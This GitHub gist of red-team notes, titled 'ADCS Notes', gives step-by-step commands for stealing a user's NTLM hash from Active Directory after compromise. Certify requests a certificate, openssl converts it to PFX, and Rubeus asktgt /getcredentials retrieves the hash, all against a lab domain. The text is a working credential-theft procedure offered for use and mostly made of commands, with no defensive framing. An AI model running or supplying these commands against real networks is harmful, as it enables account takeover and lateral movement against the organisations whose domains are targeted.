Skip to content

Instantly share code, notes, and snippets.

@b4cktr4ck2

b4cktr4ck2/Notes.txt

Created February 22, 2023 00:28
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save b4cktr4ck2/c439fb414f1c564bbd5d0f4eab8be2d4 to your computer and use it in GitHub Desktop.
Save b4cktr4ck2/c439fb414f1c564bbd5d0f4eab8be2d4 to your computer and use it in GitHub Desktop.
Download ZIP
ADCS Notes
Raw
Notes.txt
If you're in a user's context where you don't have their password (I.e they ran a beacon/steal_token/other stuff) and ADCS is enabled, you can use Certify + Rubeus to request a certificate and get their NTLM hash.
1. Certify.exe request /ca:DC01.alexlab.local\alexlab-DC01-CA
2. Copypaste everything from BEGIN RSA PRIVATE KEY to END CERTIFICATE to a file ending in .pem onto a Linux box
3. Run openssl pkcs12 -in filename.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
4. Upload the PFX file into your beacon or base64 encode it with base64 cert.pfx -w 0
5. Run Rubeus.exe asktgt /getcredentials /user:youruser /certificate:test.pfx /domain:alexlab.local /dc:dc01 /show
^Can substitute base64 string instead of uploading pfx.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment